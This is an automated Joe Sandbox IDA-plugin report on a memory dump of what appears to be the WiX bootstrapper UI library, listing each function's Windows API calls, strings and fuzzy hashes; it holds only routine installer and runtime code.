Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 60c3d5b4ef2c8e21cb0483bc3ecf870da25aeef6358bdf4d780526e21b068153
Instruction ID: 7b7c00e959df34f4b7611d81d7c61b3440d7d1149ce6c1256012ef163c4ec768
Opcode Fuzzy Hash: 60c3d5b4ef2c8e21cb0483bc3ecf870da25aeef6358bdf4d780526e21b068153
Instruction Fuzzy Hash: A0E0D8302C5301AFEB008F10C85DB8533A4BB04789F148539E409EE5C0E3B2D492C739

Function 6C686124 Relevance: 1.5, APIs: 1, Instructions: 12windowCOMMON

Download Yara Rule

APIs

IsDialogMessageW.USER32(?,?), ref: 6C686134

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: DialogMessage
String ID:
API String ID: 547518314-0
Opcode ID: 11bd6e66c257e744a42f289d78d830442a46b50ff5055f2835521f9f5537914d
Instruction ID: 627cb266b7b42ec6ee7fc3384519f10f7e3f5cbff5bf2566d5e0cfc9b1e87b95
Opcode Fuzzy Hash: 11bd6e66c257e744a42f289d78d830442a46b50ff5055f2835521f9f5537914d
Instruction Fuzzy Hash: 96C01231235209DBDB409E59DC44D57BBA8AB11700B504015B511C1413D622D8209668

Function 6C684A51 Relevance: 1.3, APIs: 1, Instructions: 52stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000001,00000000,?,6C68A2B7,?,00000000,00000001,00000000,00000000,?,6C68A431,00000000,00000000,00000000), ref: 6C684A82

Part of subcall function 6C68A699: GetProcessHeap.KERNEL32(00000000,?,?,6C684379,?,?,?,6C68B353,?,00000000,00000000,00000044,?,?,6C6815F0,WixBundleForcedRestartPackage), ref: 6C68A6A1
Part of subcall function 6C68A699: HeapSize.KERNEL32(00000000,?,6C684379,?,?,?,6C68B353,?,00000000,00000000,00000044,?,?,6C6815F0,WixBundleForcedRestartPackage,00000074), ref: 6C68A6A8

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Heap$ProcessSizelstrlen
String ID:
API String ID: 3492610842-0
Opcode ID: dfcc86031b3a6ba92af2b6f47ee81a1d1b1fb68ebc97ddffda3d0c1b08924b37
Instruction ID: ac12ca593581d095e5ba2e66f69c65666e5309ef5128ffbeaaac336fb402bf14
Opcode Fuzzy Hash: dfcc86031b3a6ba92af2b6f47ee81a1d1b1fb68ebc97ddffda3d0c1b08924b37
Instruction Fuzzy Hash: A301D432302204BBEB109E66DC90FEA376DAF85768F144211FF14AB688D7B5E840467C

Non-executed Functions

Function 6C68A888 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

FindResourceExA.KERNEL32(00000000,0000000A,?,00000000), ref: 6C68A898
GetLastError.KERNEL32(?,6C68AAE9,?,00000000,6C687B9F,?,00000000,7735E860,6C687B9F,00000000,?,00000000,00000000,00000000,00000000), ref: 6C68A8A4
LoadResource.KERNEL32(00000000,00000000,00000000,?,6C68AAE9,?,00000000,6C687B9F,?,00000000,7735E860,6C687B9F,00000000,?,00000000,00000000), ref: 6C68A8DD
GetLastError.KERNEL32(?,6C68AAE9,?,00000000,6C687B9F,?,00000000,7735E860,6C687B9F,00000000,?,00000000,00000000,00000000,00000000), ref: 6C68A8E9
SizeofResource.KERNEL32(00000000,00000000,?,6C68AAE9,?,00000000,6C687B9F,?,00000000,7735E860,6C687B9F,00000000,?,00000000,00000000,00000000), ref: 6C68A914
GetLastError.KERNEL32(?,6C68AAE9,?,00000000,6C687B9F,?,00000000,7735E860,6C687B9F,00000000,?,00000000,00000000,00000000,00000000), ref: 6C68A920
LockResource.KERNEL32(00000000,?,6C68AAE9,?,00000000,6C687B9F,?,00000000,7735E860,6C687B9F,00000000,?,00000000,00000000,00000000,00000000), ref: 6C68A948
GetLastError.KERNEL32(?,6C68AAE9,?,00000000,6C687B9F,?,00000000,7735E860,6C687B9F,00000000,?,00000000,00000000,00000000,00000000), ref: 6C68A957

Strings

resrutil.cpp, xrefs: 6C68A8C9, 6C68A97C

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorLastResource$FindLoadLockSizeof
String ID: resrutil.cpp
API String ID: 2627587518-2883861530
Opcode ID: 448989eb2fa9a9d188e950785febc87de6a70a5727705501a159e0898f3eb425
Instruction ID: 5817a15d519a6ef8a0889b8ee535458844d734691cd2e31c9950906fae25337b
Opcode Fuzzy Hash: 448989eb2fa9a9d188e950785febc87de6a70a5727705501a159e0898f3eb425
Instruction Fuzzy Hash: 6D21D672797613A7DB210E668C48B473E74DF427A5F060234FD05EA791E765C8018AFD

Function 6C68BA63 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C68CF42
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6C68CF57
UnhandledExceptionFilter.KERNEL32(6C697D1C), ref: 6C68CF62
GetCurrentProcess.KERNEL32(C0000409), ref: 6C68CF7E
TerminateProcess.KERNEL32(00000000), ref: 6C68CF85

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: fdd8daf6d31895753c722d3386c03e6a06478dc3ff2d375058d48f9b5a00bcbb
Instruction ID: 998b5dfb251f05e73a6939935225780fc40b368fe08fbd7f9cad9a76cbbcb347
Opcode Fuzzy Hash: fdd8daf6d31895753c722d3386c03e6a06478dc3ff2d375058d48f9b5a00bcbb
Instruction Fuzzy Hash: CC21CEB5A09206EFCF00DF6BC5C86487BB4FB0B315F50426AE60987650E7B09981CF5E

Function 6C68E4E5 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6C69D198,6C68BCE0,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C68E4ED
__mtterm.LIBCMT ref: 6C68E4F9

Part of subcall function 6C68E1C4: DecodePointer.KERNEL32(00000008,6C68BDA3,6C68BD89,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C68E1D5
Part of subcall function 6C68E1C4: TlsFree.KERNEL32(0000002C,6C68BDA3,6C68BD89,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C68E1EF
Part of subcall function 6C68E1C4: DeleteCriticalSection.KERNEL32(00000000,00000000,6C697D00,?,6C68BDA3,6C68BD89,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C690FCA
Part of subcall function 6C68E1C4: _free.LIBCMT ref: 6C690FCD
Part of subcall function 6C68E1C4: DeleteCriticalSection.KERNEL32(0000002C,6C697D00,?,6C68BDA3,6C68BD89,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C690FF4

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 6C68E50F
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 6C68E51C
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 6C68E529
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 6C68E536
TlsAlloc.KERNEL32 ref: 6C68E586
TlsSetValue.KERNEL32(00000000), ref: 6C68E5A1
__init_pointers.LIBCMT ref: 6C68E5AB
EncodePointer.KERNEL32 ref: 6C68E5BC
EncodePointer.KERNEL32 ref: 6C68E5C9
EncodePointer.KERNEL32 ref: 6C68E5D6
EncodePointer.KERNEL32 ref: 6C68E5E3
DecodePointer.KERNEL32(Function_0000E348), ref: 6C68E604
__calloc_crt.LIBCMT ref: 6C68E619
DecodePointer.KERNEL32(00000000), ref: 6C68E633
GetCurrentThreadId.KERNEL32 ref: 6C68E645

Strings

FlsAlloc, xrefs: 6C68E509
FlsSetValue, xrefs: 6C68E51E
FlsGetValue, xrefs: 6C68E511
KERNEL32.DLL, xrefs: 6C68E4E8
FlsFree, xrefs: 6C68E52B

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: 704d2d89b35675ce7d22e6b3ef89d08a6d605b8912df414ce914d460c870a55d
Instruction ID: bbabcd267da5cf6540cd3771585231a39e31cfa894908492b0b7849311a08236
Opcode Fuzzy Hash: 704d2d89b35675ce7d22e6b3ef89d08a6d605b8912df414ce914d460c870a55d
Instruction Fuzzy Hash: EA317275B022139ACF109F7B89C4A193BB4AF46B28F100536E435D76A0EB31A444DFED

Function 6C6863C3 Relevance: 33.6, APIs: 7, Strings: 12, Instructions: 305windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00000000), ref: 6C68650A
GetLastError.KERNEL32 ref: 6C686517
SysFreeString.OLEAUT32(00000000), ref: 6C686745

Strings

sid, xrefs: 6C6866D5
Width, xrefs: 6C686404
thmutil.cpp, xrefs: 6C686712
StringId, xrefs: 6C6866C0
IconResource, xrefs: 6C6864D3
SourceX, xrefs: 6C686612
Window|Application|App|a, xrefs: 6C6863DD
IconFile, xrefs: 6C686558
Height, xrefs: 6C686449
HexStyle, xrefs: 6C686684
SourceY, xrefs: 6C68664A
FontId, xrefs: 6C68648E

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorFreeIconLastLoadString
String ID: FontId$Height$HexStyle$IconFile$IconResource$SourceX$SourceY$StringId$Width$Window|Application|App|a$sid$thmutil.cpp
API String ID: 3871232939-637226125
Opcode ID: c51d4c47ac3e9cef17c50eceee486a44850dbd4cc7409bd936ad8d035dca9b8e
Instruction ID: c57b5c2b65958612137e49a9054d642d3214161ab3e525088f6ab64189a57d9a
Opcode Fuzzy Hash: c51d4c47ac3e9cef17c50eceee486a44850dbd4cc7409bd936ad8d035dca9b8e
Instruction Fuzzy Hash: B9A19D32C26125BBCF219A618D44ACEBB78AF06764F1502A1EC14FBA50D731CE509BFD

Function 6C68B692 Relevance: 31.7, APIs: 4, Strings: 14, Instructions: 211COMMON

Download Yara Rule

APIs

Part of subcall function 6C68A652: GetProcessHeap.KERNEL32(?,?,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage), ref: 6C68A663
Part of subcall function 6C68A652: RtlAllocateHeap.NTDLL(00000000,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage,00000074), ref: 6C68A66A

CompareStringW.KERNEL32(00000000,00000000,Exe,000000FF,00000000,000000FF,00000000,PackageType,00000000,00000000,Description,-00000010,00000000,DisplayName,-00000014,00000000), ref: 6C68B7B6

Strings

PackageType, xrefs: 6C68B78B
Permanent, xrefs: 6C68B818
DisplayName, xrefs: 6C68B745
DisplayInternalUI, xrefs: 6C68B846
Description, xrefs: 6C68B768
Package, xrefs: 6C68B72A
Msi, xrefs: 6C68B7C8
Exe, xrefs: 6C68B7AF
Msp, xrefs: 6C68B7E5
p@hl, xrefs: 6C68B6CB, 6C68B6CE
Vital, xrefs: 6C68B82F
balinfo.cpp, xrefs: 6C68B6FD
Msu, xrefs: 6C68B800
/BootstrapperApplicationData/WixPackageProperties, xrefs: 6C68B6A0

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Heap$AllocateCompareProcessString
String ID: /BootstrapperApplicationData/WixPackageProperties$Description$DisplayInternalUI$DisplayName$Exe$Msi$Msp$Msu$Package$PackageType$Permanent$Vital$balinfo.cpp$p@hl
API String ID: 1171520630-2263832562
Opcode ID: 631576a2d65f8e060c2b6a7ea2d261f007bd1385a0262f15fbf8b99aada0ca7a
Instruction ID: 6a73ff0d6417eaad27181ab96ed429c9e0e429758c0634968fbe0027a86a13c2
Opcode Fuzzy Hash: 631576a2d65f8e060c2b6a7ea2d261f007bd1385a0262f15fbf8b99aada0ca7a
Instruction Fuzzy Hash: C66161B2C0211ABFDF109FA4CC80CDDB7B9AB46324B644665E921B7A91D7315E44CF6C

Function 6C68BCB7 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 99COMMONLIBRARYCODE

Download Yara Rule

APIs

__heap_init.LIBCMT ref: 6C68BCCB

Part of subcall function 6C68F0B1: HeapCreate.KERNELBASE(00000000,00001000,00000000,6C68BCD0,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C68F0BA

__RTC_Initialize.LIBCMT ref: 6C68BCEB
GetCommandLineA.KERNEL32(6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C68BCF0
___crtGetEnvironmentStringsA.LIBCMT ref: 6C68BCFB

Part of subcall function 6C68EFCE: GetEnvironmentStringsW.KERNEL32(6C697D00,?,?,?,6C68BD00), ref: 6C68EFD8

Part of subcall function 6C68EA05: GetStartupInfoW.KERNEL32(6C697DD8,6C68BC56), ref: 6C68EA12
Part of subcall function 6C68EA05: __calloc_crt.LIBCMT ref: 6C68EA1E

__ioterm.LIBCMT ref: 6C68BD3E

Part of subcall function 6C68EC4A: DeleteCriticalSection.KERNEL32(?,00000000,6C697D00,6C68BD73,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C68EC6D
Part of subcall function 6C68EC4A: _free.LIBCMT ref: 6C68EC86

__mtterm.LIBCMT ref: 6C68BD0E

Part of subcall function 6C68E1C4: DecodePointer.KERNEL32(00000008,6C68BDA3,6C68BD89,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C68E1D5
Part of subcall function 6C68E1C4: TlsFree.KERNEL32(0000002C,6C68BDA3,6C68BD89,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C68E1EF
Part of subcall function 6C68E1C4: DeleteCriticalSection.KERNEL32(00000000,00000000,6C697D00,?,6C68BDA3,6C68BD89,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C690FCA
Part of subcall function 6C68E1C4: _free.LIBCMT ref: 6C690FCD
Part of subcall function 6C68E1C4: DeleteCriticalSection.KERNEL32(0000002C,6C697D00,?,6C68BDA3,6C68BD89,6C69A0B8,00000008,?,6C69A060,6C69D198), ref: 6C690FF4

__setargv.LIBCMT ref: 6C68BD15
__cinit.LIBCMT ref: 6C68BD29
__ioterm.LIBCMT ref: 6C68BD6E
__mtterm.LIBCMT ref: 6C68BD73

Strings

-4, xrefs: 6C68BCBE
x z/, xrefs: 6C68BD1C

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CriticalDeleteSection$EnvironmentStrings__ioterm__mtterm_free$CommandCreateDecodeFreeHeapInfoInitializeLinePointerStartup___crt__calloc_crt__cinit__heap_init__setargv
String ID: x z/$-4
API String ID: 2850674858-1048370266
Opcode ID: efe8b840a8c999d4e15ab769a0cf878b634c2d08d5b62e4d839b4a64c5c4f6dd
Instruction ID: 4b474bb69f851e313ec11c036b75ffc4daeeda02431ac1fdaf175213d7cae148
Opcode Fuzzy Hash: efe8b840a8c999d4e15ab769a0cf878b634c2d08d5b62e4d839b4a64c5c4f6dd
Instruction Fuzzy Hash: 7E31953964B603EADB117FB68D445CD35B5AF8335DF240A26D56181E91EF20C04986BF

Function 6C68843C Relevance: 28.3, APIs: 9, Strings: 7, Instructions: 335COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C68846B
SysFreeString.OLEAUT32(?), ref: 6C688764
GetLastError.KERNEL32 ref: 6C6887A9

Part of subcall function 6C68A652: GetProcessHeap.KERNEL32(?,?,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage), ref: 6C68A663
Part of subcall function 6C68A652: RtlAllocateHeap.NTDLL(00000000,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage,00000074), ref: 6C68A66A

Strings

thmutil.cpp, xrefs: 6C68881C
Height, xrefs: 6C68857A
Weight, xrefs: 6C6885B4
Background, xrefs: 6C688675
Font|f, xrefs: 6C68847F
Underline, xrefs: 6C6885EE
Foreground, xrefs: 6C688633

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Heap$AllocateErrorFreeLastProcessString_memset
String ID: Background$Font|f$Foreground$Height$Underline$Weight$thmutil.cpp
API String ID: 3975349679-3296227098
Opcode ID: 7e0688bae0ed15520cbce08ff697fa3fde772c5659d8ccd02c63a7db2740a194
Instruction ID: a389ec025557e6711ff3aeab08a040693adfcd1ab86174c4bbc7a7d93e67a3ab
Opcode Fuzzy Hash: 7e0688bae0ed15520cbce08ff697fa3fde772c5659d8ccd02c63a7db2740a194
Instruction Fuzzy Hash: B6B1C832C023299FDF20DEA4CC849DDB7B8AB09314F15067AE965FBA61D7315D448BAC

Function 6C68180F Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 172COMMON

Download Yara Rule

APIs

CommandLineToArgvW.SHELL32(?,?,00000000,?,?,?,6C684070,?), ref: 6C681841
GetLastError.KERNEL32(?,6C684070,?), ref: 6C681850
_wcschr.LIBCMT ref: 6C6818BF
LocalFree.KERNEL32(?,?,6C684070,?), ref: 6C6819EF

Strings

Ignoring attempt to set non-overridable variable: '%ls'., xrefs: 6C68190F
WixStandardBootstrapperApplication.cpp, xrefs: 6C681875
Failed to set variable., xrefs: 6C68195E
Must specify a language., xrefs: 6C6819CA
Failed to copy variable value., xrefs: 6C6819D8
Ignoring unknown argument: %ls, xrefs: 6C681968
Failed to copy language., xrefs: 6C6819DF
p@hl, xrefs: 6C681A0A, 6C681933, 6C681946, 6C681936
lang, xrefs: 6C68197B
Failed to copy variable name., xrefs: 6C6819D1

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ArgvCommandErrorFreeLastLineLocal_wcschr
String ID: Failed to copy language.$Failed to copy variable name.$Failed to copy variable value.$Failed to set variable.$Ignoring attempt to set non-overridable variable: '%ls'.$Ignoring unknown argument: %ls$Must specify a language.$WixStandardBootstrapperApplication.cpp$lang$p@hl
API String ID: 1732016493-1810752694
Opcode ID: eb5a281c692db38838cdb6334c0100aef9f2ecd18033771f1996b7a265e8e941
Instruction ID: 3ab15d692910ed48ba18aa4bc6f5ccd58c1fdc9e78ca99c7f01a2ac0160b889f
Opcode Fuzzy Hash: eb5a281c692db38838cdb6334c0100aef9f2ecd18033771f1996b7a265e8e941
Instruction Fuzzy Hash: F051C572D02116EBCF019FD4C885AEE7775AF05319F250665EA21BBA90D771CE408BBC

Function 6C687C6F Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 224COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 6C687EA5
SysFreeString.OLEAUT32(00000000), ref: 6C687EB4

Part of subcall function 6C68A652: GetProcessHeap.KERNEL32(?,?,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage), ref: 6C68A663
Part of subcall function 6C68A652: RtlAllocateHeap.NTDLL(00000000,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage,00000074), ref: 6C68A66A

Strings

thmutil.cpp, xrefs: 6C687E92
p@hl, xrefs: 6C687D12, 6C687D32, 6C687D15
ImageList, xrefs: 6C687C87
Image|i, xrefs: 6C687D4B
Name, xrefs: 6C687D16
p@hl, xrefs: 6C687EB1

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Heap$AllocateDeleteFreeObjectProcessString
String ID: ImageList$Image|i$Name$p@hl$p@hl$thmutil.cpp
API String ID: 2643945641-1846276955
Opcode ID: d0ff434a3067cea7c1e950252a204d1c591fff92f7d1bcc0d8f5c2d9c5703236
Instruction ID: 7860f6b5e32ba908b375c0976954c24cb64f78cdc4fe888551deee07a44a643e
Opcode Fuzzy Hash: d0ff434a3067cea7c1e950252a204d1c591fff92f7d1bcc0d8f5c2d9c5703236
Instruction Fuzzy Hash: 74716072E0261AABCB118FA5CC48AAEBBB9AF45714F104165F911FB650D731CE01DBB8

Function 6C686BCB Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C686BF9
GetWindowTextW.USER32(?,?,00000100), ref: 6C686C10
GetLastError.KERNEL32(?,?,?), ref: 6C686C20
SelectObject.GDI32(?,?), ref: 6C686C8C
SetTextColor.GDI32(?,?), ref: 6C686C9A
SetBkColor.GDI32(?,?), ref: 6C686CB2
ExtTextOutW.GDI32(?,00000000,00000000,00000006,?,?,?,00000000), ref: 6C686CD5
DrawFocusRect.USER32(?,?), ref: 6C686CE8
SetBkColor.GDI32(?,?), ref: 6C686CF7
SetTextColor.GDI32(?,?), ref: 6C686D02
SelectObject.GDI32(?,?), ref: 6C686D11

Strings

thmutil.cpp, xrefs: 6C686C53

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ColorText$ObjectSelect$DrawErrorFocusLastRectWindow_memset
String ID: thmutil.cpp
API String ID: 2069131273-2961750086
Opcode ID: 1195f06c5a524e8faa9dadc97140b717bb00297fd93c8212ed269cfe20c81c01
Instruction ID: 912703c3be581930221502278e0c26a4af33f861f793d118f7afcbaa797d19ea
Opcode Fuzzy Hash: 1195f06c5a524e8faa9dadc97140b717bb00297fd93c8212ed269cfe20c81c01
Instruction Fuzzy Hash: A741027150130AEFDB319F21CC88B9ABBB5FF05304F0042A8E516A25A1DB70ED94CFA8

Function 6C68AAC0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 137memorywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68A888: FindResourceExA.KERNEL32(00000000,0000000A,?,00000000), ref: 6C68A898
Part of subcall function 6C68A888: GetLastError.KERNEL32(?,6C68AAE9,?,00000000,6C687B9F,?,00000000,7735E860,6C687B9F,00000000,?,00000000,00000000,00000000,00000000), ref: 6C68A8A4

GlobalAlloc.KERNEL32(00000002,?,?,00000000,6C687B9F,?,00000000,7735E860,6C687B9F,00000000,?,00000000,00000000,00000000,00000000), ref: 6C68AAF8
GetLastError.KERNEL32 ref: 6C68AB07
